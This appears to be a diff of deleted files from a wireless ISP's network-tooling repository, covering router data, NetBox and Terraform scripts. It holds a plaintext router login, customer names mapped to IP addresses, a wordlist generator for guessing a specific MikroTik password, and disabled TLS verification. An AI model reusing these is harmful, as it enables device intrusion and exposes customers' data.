comments='Verona tower site with MikroTik router'
)
site_id = site['id']
print(f"✓ Created Verona site (ID: {site_id})")
except Exception as e:
print(f"✗ Failed to create Verona site: {e}")
return
else:
site_id = site_response['results'][0]['id']
print(f"✓ Verona site already exists (ID: {site_id})")
# Check if router already exists
device_response = nb.get('dcim/devices/', params={'name': 'verona-router', 'site_id': site_id})
if device_response['count'] == 0:
print("\nCreating Verona router device...")
# Get or create MikroTik manufacturer
print(" - Setting up manufacturer...")
manufacturer_id = nb.get_or_create_manufacturer('MikroTik')
# Get or create device type (assuming RouterBOARD or generic)
print(" - Setting up device type...")
device_type_id = nb.get_or_create_device_type('RouterBOARD', manufacturer_id)
# Get or create device role
print(" - Setting up device role...")
role_id = nb.get_or_create_device_role('Router')
# Create the device
try:
device = nb.create_device(
name='verona-router',
device_type_id=device_type_id,
role_id=role_id,
site_id=site_id,
status='active'
)
device_id = device['id']
print(f"✓ Created Verona router device (ID: {device_id})")
# Add primary IP
print("\n - Adding primary IP address...")
ip_data = {
'address': '10.254.254.101/32',
'status': 'active',
'description': 'Verona router loopback',
'role': 'loopback'
}
try:
ip_response = nb.post('ipam/ip-addresses/', ip_data)
ip_id = ip_response['id']
# Set as primary IP for the device
device_update = {
'primary_ip4': ip_id
}
nb.session.patch(f"{nb.api_url}dcim/devices/{device_id}/", json=device_update)
print("✓ Added primary IP address")
except Exception as e:
print(f"✗ Failed to add primary IP: {e}")
except Exception as e:
print(f"✗ Failed to create Verona router: {e}")
return
else:
device_id = device_response['results'][0]['id']
print(f"✓ Verona router already exists (ID: {device_id})")
print(f"\n=== Summary ===")
print(f"Site: Verona (ID: {site_id})")
print(f"Device: verona-router (ID: {device_id})")
print(f"\nYou can now run update_netbox_verona.py to add all the subnet and interface data.")
if __name__ == "__main__":
main()

View file

@ -1,788 +0,0 @@
{
"host": "10.254.254.104",
"identity": null,
"timestamp": "2026-03-26T17:14:55.475749",
"subnets": [
{
"address": "10.254.254.104/32",
"network": "10.254.254.104",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "100.64.27.254/22",
"network": "100.64.24.0",
"interface": "ether2-netonix",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.158/27",
"network": "204.110.188.128",
"interface": "public",
"comment": "",
"dynamic": false
},
{
"address": "10.0.104.254/24",
"network": "10.0.104.0",
"interface": "culleoka-tower",
"comment": "",
"dynamic": false
},
{
"address": "10.10.111.254/20",
"network": "10.10.96.0",
"interface": "vlan10_ether2",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.9/29",
"network": "10.250.1.8",
"interface": "ether1-climax-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.49/29",
"network": "10.250.1.48",
"interface": "ether6-380-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.9",
"interface": "<pppoe-tonyasipes>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.10",
"interface": "<pppoe-natashaelmore>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.11",
"interface": "<pppoe-karengreen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.12",
"interface": "<pppoe-chrispassonno>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "204.110.188.134",
"interface": "<pppoe-radiantlifeministries>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.13",
"interface": "<pppoe-wendysanders>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.14",
"interface": "<pppoe-johnnygoble>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.15",
"interface": "<pppoe-jamesmooney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.16",
"interface": "<pppoe-saidaacosta>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "204.110.188.131",
"interface": "<pppoe-marilynfowler>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.18",
"interface": "<pppoe-tammylove>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.20",
"interface": "<pppoe-duanewright>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.21",
"interface": "<pppoe-shamsbashir>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.22",
"interface": "<pppoe-priscillacrenshaw>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.24",
"interface": "<pppoe-jacobwilliams>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.25",
"interface": "<pppoe-russmott>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.27",
"interface": "<pppoe-kailynnbarnfield>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.29",
"interface": "<pppoe-brianamartinez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.30",
"interface": "<pppoe-mauricioantonio>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.32",
"interface": "<pppoe-ericcoffman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.34",
"interface": "<pppoe-ladonnaclark>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.35",
"interface": "<pppoe-delainawaite>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.39",
"interface": "<pppoe-deannecook>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.43",
"interface": "<pppoe-rubenreyez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.47",
"interface": "<pppoe-sandrahoughton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.48",
"interface": "<pppoe-luisarellano>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.49",
"interface": "<pppoe-carlaswearingen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.53",
"interface": "<pppoe-doreengrubb>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.122",
"interface": "<pppoe-rosahernandez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.38",
"interface": "<pppoe-floydallen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.31",
"interface": "<pppoe-michaelhughes>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.42",
"interface": "<pppoe-kristinamurphy>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.17",
"interface": "<pppoe-mariacastanon>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.19",
"interface": "<pppoe-perlachavez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "204.110.188.145",
"interface": "<pppoe-clayrobertson2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.28",
"interface": "<pppoe-khushbooagarwal2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.45",
"interface": "<pppoe-mariomerlo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.33",
"interface": "<pppoe-shannonclark>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.46",
"interface": "<pppoe-chisediquezada>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether1-climax-11ghz",
"type": "ether",
"mac": "64:D1:54:D3:E1:52",
"comment": "",
"mtu": 9000
},
{
"name": "ether2-netonix",
"type": "ether",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-jeff-tv",
"type": "ether",
"mac": "64:D1:54:D3:E1:56",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-380-11ghz",
"type": "ether",
"mac": "64:D1:54:D3:E1:57",
"comment": "",
"mtu": 9000
},
{
"name": "<pppoe-brianamartinez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-carlaswearingen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chisediquezada>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-chrispassonno>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-clayrobertson2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-deannecook>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-delainawaite>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-doreengrubb>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-duanewright>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ericcoffman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-floydallen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jacobwilliams>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jamesmooney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-johnnygoble>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kailynnbarnfield>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-karengreen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-khushbooagarwal2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kristinamurphy>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-ladonnaclark>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-luisarellano>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariacastanon>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-marilynfowler>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariomerlo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mauricioantonio>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-michaelhughes>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-natashaelmore>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-perlachavez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-priscillacrenshaw>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-radiantlifeministries>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-rosahernandez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-rubenreyez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-russmott>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-saidaacosta>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-sandrahoughton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-shamsbashir>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-shannonclark>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-tammylove>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-tonyasipes>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-wendysanders>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "culleoka-tower",
"type": "bridge",
"mac": "92:19:C8:54:82:B3",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "3A:96:B4:1B:8A:0D",
"comment": "",
"mtu": "auto"
},
{
"name": "mgmt",
"type": "bridge",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": "auto"
},
{
"name": "public",
"type": "bridge",
"mac": "52:8D:9B:68:7F:D0",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_ether2",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan100_netonix8",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan101_netonix9",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan102_netonix10",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan103_netonix13",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan104_netonix14",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_30_clayton",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether2",
"vlan_id": 10,
"interface": "ether2-netonix"
},
{
"name": "vlan100_netonix8",
"vlan_id": 100,
"interface": "ether2-netonix"
},
{
"name": "vlan101_netonix9",
"vlan_id": 101,
"interface": "ether2-netonix"
},
{
"name": "vlan102_netonix10",
"vlan_id": 102,
"interface": "ether2-netonix"
},
{
"name": "vlan103_netonix13",
"vlan_id": 103,
"interface": "ether2-netonix"
},
{
"name": "vlan104_netonix14",
"vlan_id": 104,
"interface": "ether2-netonix"
},
{
"name": "vlan_30_clayton",
"vlan_id": 30,
"interface": "ether2-netonix"
}
],
"pppoe_servers": [
{
"service_name": "culleoka",
"interface": "ether2-netonix"
},
{
"service_name": "clayton",
"interface": "vlan_30_clayton"
},
{
"service_name": "jeff-tv",
"interface": "ether5-jeff-tv"
},
{
"service_name": "service1",
"interface": "vlan100_netonix8"
},
{
"service_name": "service2",
"interface": "vlan101_netonix9"
},
{
"service_name": "service3",
"interface": "vlan102_netonix10"
},
{
"service_name": "service4",
"interface": "vlan103_netonix13"
},
{
"service_name": "service5",
"interface": "vlan104_netonix14"
}
],
"routes": []
}

View file

@ -1,98 +0,0 @@
resource "towerops_device" "culleoka_sw_ac_1" {
site_id = towerops_site.culleoka.id
name = "Culleoka SW AC-1"
ip_address = "10.10.111.1"
snmp_version = "1"
}
resource "towerops_device" "culleoka_sw_ac2" {
site_id = towerops_site.culleoka.id
name = "Culleoka SW AC2"
ip_address = "10.10.111.2"
snmp_version = "1"
}
resource "towerops_device" "culleoka_se" {
site_id = towerops_site.culleoka.id
name = "Culleoka SE"
ip_address = "10.10.111.11"
snmp_version = "1"
}
resource "towerops_device" "culleoka_sw_120" {
site_id = towerops_site.culleoka.id
name = "Culleoka sw 120"
ip_address = "10.10.111.12"
snmp_version = "1"
}
resource "towerops_device" "culleoka_north_ubnt" {
site_id = towerops_site.culleoka.id
name = "Culleoka North UBNT"
ip_address = "10.10.111.14"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_n" {
site_id = towerops_site.culleoka.id
name = "culleoka epmp N"
ip_address = "10.10.111.30"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_se" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP SE"
ip_address = "10.10.111.31"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_sw" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP SW"
ip_address = "10.10.111.32"
snmp_version = "1"
}
resource "towerops_device" "culleoka_ne" {
site_id = towerops_site.culleoka.id
name = "Culleoka NE"
ip_address = "10.10.111.33"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_se_34" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP SE"
ip_address = "10.10.111.34"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_nw" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP NW"
ip_address = "10.10.111.35"
snmp_version = "1"
}
resource "towerops_device" "clayton_estates_ap" {
site_id = towerops_site.culleoka.id
name = "Clayton Estates AP"
ip_address = "10.10.111.50"
snmp_version = "1"
}
resource "towerops_device" "clayton_to_culleoka" {
site_id = towerops_site.culleoka.id
name = "clayton to culleoka"
ip_address = "10.10.111.60"
snmp_version = "1"
}
resource "towerops_device" "culleoka_to_clayton" {
site_id = towerops_site.culleoka.id
name = "culleoka to clayton"
ip_address = "10.10.111.61"
snmp_version = "1"
}

File diff suppressed because it is too large Load diff

View file

@ -1,83 +0,0 @@
#!/usr/bin/env python3
"""Diagnose RADIUS auth failure on Verona router after RouterOS upgrade."""
import sys
from mikrotik_connect import MikrotikAPI
def section(title):
print(f"\n{'=' * 70}\n=== {title}\n{'=' * 70}")
def dump(results):
if not results:
print("(no results)")
return
for r in results:
for k, v in r.items():
print(f" {k}: {v}")
print("---")
def main():
api = MikrotikAPI("10.254.254.101", "grahamro",
"cFKhz8q5gPLoucMbcT1Iy58r3IXgc3")
if not api.connect():
sys.exit(1)
if not api.login():
sys.exit(1)
try:
section("RouterOS version / identity")
dump(api.command("/system/resource/print"))
dump(api.command("/system/routerboard/print"))
dump(api.command("/system/identity/print"))
section("RADIUS clients (/radius print detail)")
dump(api.command("/radius/print"))
section("RADIUS incoming settings")
dump(api.command("/radius/incoming/print"))
section("AAA settings for user logins (/user aaa print)")
dump(api.command("/user/aaa/print"))
section("PPP AAA settings (/ppp aaa print)")
dump(api.command("/ppp/aaa/print"))
section("PPP profiles (may reference radius)")
dump(api.command("/ppp/profile/print"))
section("PPP secrets count")
secrets = api.command("/ppp/secret/print", ["=count-only="])
print(secrets)
section("Active PPP sessions")
dump(api.command("/ppp/active/print"))
section("Hotspot servers (if any)")
dump(api.command("/ip/hotspot/print"))
section("Recent log messages (last 200)")
logs = api.command("/log/print")
# Show only most recent 200 and filter those with radius / auth / ppp
for entry in logs[-200:]:
msg = entry.get("message", "")
topics = entry.get("topics", "")
time = entry.get("time", "")
if any(k in (msg + topics).lower() for k in
["radius", "auth", "ppp", "login", "fail", "reject"]):
print(f"[{time}] {topics}: {msg}")
section("Certificates (RADIUS over TLS / EAP may need these)")
dump(api.command("/certificate/print"))
section("IP services (enabled management services)")
dump(api.command("/ip/service/print"))
finally:
api.disconnect()
if __name__ == "__main__":
main()

View file

@ -1,228 +0,0 @@
#!/usr/bin/env python3
"""
Generate comprehensive MikroTik password wordlist
Creates likely passwords based on common patterns, algorithms, and variations
"""
import itertools
import string
import binascii
def generate_mac_based_passwords(mac_address):
"""Generate passwords based on MAC address using various known algorithms"""
passwords = []
# Parse MAC address
mac_parts = mac_address.upper().replace(':', '').replace('-', '')
if len(mac_parts) != 12:
return passwords
mac_bytes = [int(mac_parts[i:i+2], 16) for i in range(0, 12, 2)]
# Algorithm 1: Standard MikroTik (0xD0, 0xFF constants)
pwd_bytes = [
mac_bytes[0] ^ 0xD0,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
0xFF
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 2: Try different constants instead of 0xD0
for const1 in [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0]:
pwd_bytes = [
mac_bytes[0] ^ const1,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
0xFF
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 3: Try different constants instead of 0xFF
for const2 in [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03]:
pwd_bytes = [
mac_bytes[0] ^ 0xD0,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
const2
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 4: Different MAC byte positions
for i in range(6):
for j in range(6):
for k in range(6):
if i != j and j != k and i != k:
pwd_bytes = [
mac_bytes[i] ^ 0xD0,
mac_bytes[j],
(~mac_bytes[k]) & 0xFF,
0xFF
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 5: Use MAC bytes directly (no XOR or NOT)
for combo in itertools.permutations(mac_bytes[:4]):
hex_str = ''.join(f'{b:02x}' for b in combo)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 6: Simple MAC transformations
# Last 4 bytes of MAC
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# First 4 bytes of MAC
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
return passwords
def generate_common_patterns():
"""Generate common password patterns"""
passwords = []
# Common numeric patterns
patterns = [
"0000-0000", "1111-1111", "2222-2222", "3333-3333",
"1234-5678", "8765-4321", "0123-4567", "1357-2468",
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
"ffff-ffff", "dead-beef", "cafe-babe", "feed-face",
"0000-0001", "0001-0000", "ffff-0000", "0000-ffff",
]
# Year-based patterns (common installation years)
for year in range(2015, 2025):
passwords.extend([
f"{year}-{year}",
f"0000-{year}",
f"{year}-0000",
f"{year}-1234",
f"1234-{year}",
])
# Sequential numbers
for i in range(0, 10000, 1111):
hex_val = f"{i:04x}"
passwords.append(f"{hex_val}-{hex_val}")
# Common hex patterns
hex_patterns = [
"abcd-efab", "1a2b-3c4d", "a1b2-c3d4",
"0a0b-0c0d", "f0f0-f0f0", "0f0f-0f0f",
]
passwords.extend(hex_patterns)
return patterns + passwords
def generate_device_specific_patterns():
"""Generate patterns specific to this device's MAC and IP"""
passwords = []
# Based on MAC B8:69:F4:12:8E:F8
mac_parts = ["b8", "69", "f4", "12", "8e", "f8"]
# Use parts of MAC in different combinations
for i in range(len(mac_parts)-1):
passwords.append(f"{mac_parts[i]}{mac_parts[i+1]}-{mac_parts[(i+2)%6]}{mac_parts[(i+3)%6]}")
# Based on IP 10.250.2.2
ip_hex = f"{10:02x}{250:02x}{2:02x}{2:02x}" # 0afa0202
passwords.extend([
f"{ip_hex[:4]}-{ip_hex[4:]}",
f"0afa-0202",
f"250a-0202", # Different byte order
f"0a02-fa02",
])
# Network-specific patterns (250.2 subnet)
passwords.extend([
"fa02-fa02", # 250.2 in hex
"0250-0002", # Decimal to hex
"f802-f802", # 248.2 (common network)
"0100-0100", # 1.1 network
])
return passwords
def generate_incremental_patterns():
"""Generate incremental/sequential patterns around likely values"""
passwords = []
# Around the calculated MAC-based password
base_pwd = "6869-0bff" # From the algorithm result
base_int = int(base_pwd.replace('-', ''), 16)
# Try values around the calculated one
for offset in range(-1000, 1001):
try:
new_val = base_int + offset
if 0 <= new_val <= 0xFFFFFFFF:
hex_str = f"{new_val:08x}"
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
except:
continue
return passwords
def main():
mac_address = "B8:69:F4:12:8E:F8"
print("Generating comprehensive MikroTik password wordlist...")
all_passwords = set() # Use set to avoid duplicates
print("1. MAC-based algorithm variations...")
mac_passwords = generate_mac_based_passwords(mac_address)
all_passwords.update(mac_passwords)
print(f" Generated {len(mac_passwords)} MAC-based passwords")
print("2. Common patterns...")
common_passwords = generate_common_patterns()
all_passwords.update(common_passwords)
print(f" Generated {len(common_passwords)} common pattern passwords")
print("3. Device-specific patterns...")
device_passwords = generate_device_specific_patterns()
all_passwords.update(device_passwords)
print(f" Generated {len(device_passwords)} device-specific passwords")
print("4. Incremental patterns...")
incremental_passwords = generate_incremental_patterns()
all_passwords.update(incremental_passwords)
print(f" Generated {len(incremental_passwords)} incremental passwords")
# Remove any invalid passwords and convert to sorted list
valid_passwords = []
for pwd in all_passwords:
if len(pwd) == 9 and pwd[4] == '-':
try:
# Validate it's proper hex
int(pwd.replace('-', ''), 16)
valid_passwords.append(pwd)
except ValueError:
continue
valid_passwords.sort()
# Write to file
with open('mikrotik_wordlist.txt', 'w') as f:
for pwd in valid_passwords:
f.write(pwd + '\n')
print(f"\nTotal unique valid passwords: {len(valid_passwords)}")
print("Wordlist saved to: mikrotik_wordlist.txt")
# Show first 20 passwords as preview
print("\nFirst 20 passwords in wordlist:")
for i, pwd in enumerate(valid_passwords[:20]):
print(f" {i+1:2d}: {pwd}")
if len(valid_passwords) > 20:
print(f" ... and {len(valid_passwords) - 20} more")
if __name__ == "__main__":
main()

View file

@ -1,64 +0,0 @@
#!/usr/bin/env python3
import re
import sys
def sanitize_resource_name(name):
"""Convert system name to valid Terraform resource identifier."""
# Remove trailing spaces and convert to lowercase
name = name.strip().lower()
# Replace spaces and special chars with underscores
name = re.sub(r'[^a-z0-9_]', '_', name)
# Remove consecutive underscores
name = re.sub(r'_+', '_', name)
# Remove leading/trailing underscores
name = name.strip('_')
# Prefix with 'device_' if it starts with a number
if name and name[0].isdigit():
name = 'device_' + name
return name
if len(sys.argv) < 3:
print("Usage: ./generate_terraform.py <input_file> <site_name>")
print("Example: ./generate_terraform.py new_hope_results.txt new_hope")
sys.exit(1)
input_file = sys.argv[1]
site_name = sys.argv[2]
output_file = f"{site_name}_hosts.tf"
# Read SNMP results
with open(input_file, 'r') as f:
devices = []
for line in f:
ip, sysname = line.strip().split('|')
if sysname != 'UNKNOWN':
resource_name = sanitize_resource_name(sysname)
devices.append({
'ip': ip,
'name': sysname.strip(),
'resource_name': resource_name
})
# Handle duplicate resource names by appending IP last octet
seen_names = {}
for device in devices:
original_name = device['resource_name']
if original_name in seen_names:
# Append the last octet of the IP to make it unique
last_octet = device['ip'].split('.')[-1]
device['resource_name'] = f"{original_name}_{last_octet}"
else:
seen_names[original_name] = True
# Generate Terraform file
with open(output_file, 'w') as f:
for device in devices:
f.write(f'resource "towerops_device" "{device["resource_name"]}" {{\n')
f.write(f' site_id = towerops_site.{site_name}.id\n')
f.write(f' name = "{device["name"]}"\n')
f.write(f' ip_address = "{device["ip"]}"\n')
f.write(f' snmp_version = "1"\n')
f.write(f'}}\n\n')
print(f"Generated {output_file} with {len(devices)} devices")

View file

@ -1,205 +0,0 @@
#!/usr/bin/env python3
"""
Get access points from a MikroTik router by checking DHCP leases and ARP table
"""
import ssl
import sys
import json
import argparse
try:
from librouteros import connect
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def connect_to_router(ip, username, password, use_ssl=True):
"""Connect to MikroTik router"""
port = 8729 if use_ssl else 8728
try:
if use_ssl:
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
api = connect(
username=username,
password=password,
host=ip,
port=port,
ssl_wrapper=ctx.wrap_socket
)
else:
api = connect(
username=username,
password=password,
host=ip,
port=port
)
print(f"✓ Connected to {ip}")
return api
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def get_dhcp_leases(api):
"""Get DHCP leases from the router"""
try:
leases = list(api.path('/ip/dhcp-server/lease'))
return leases
except Exception as e:
print(f"Error getting DHCP leases: {e}")
return []
def get_arp_table(api):
"""Get ARP table from the router"""
try:
arp_entries = list(api.path('/ip/arp'))
return arp_entries
except Exception as e:
print(f"Error getting ARP table: {e}")
return []
def get_capsman_registrations(api):
"""Get Capsman registration table if available"""
try:
registrations = list(api.path('/caps-man/registration-table'))
return registrations
except Exception as e:
# Capsman might not be configured
return []
def is_likely_ap(hostname, mac, comment):
"""Determine if a device is likely an access point based on hostname/MAC/comment"""
if not hostname:
hostname = ""
if not comment:
comment = ""
hostname_lower = hostname.lower()
comment_lower = comment.lower()
# Common AP identifiers
ap_indicators = ['ap', 'access', 'ubiquiti', 'unifi', 'mikrotik', 'routerboard',
'airmax', 'litebeam', 'nanostation', 'powerbeam', 'rocket',
'hap', 'cap', 'sxt', 'lhg', 'wap']
for indicator in ap_indicators:
if indicator in hostname_lower or indicator in comment_lower:
return True
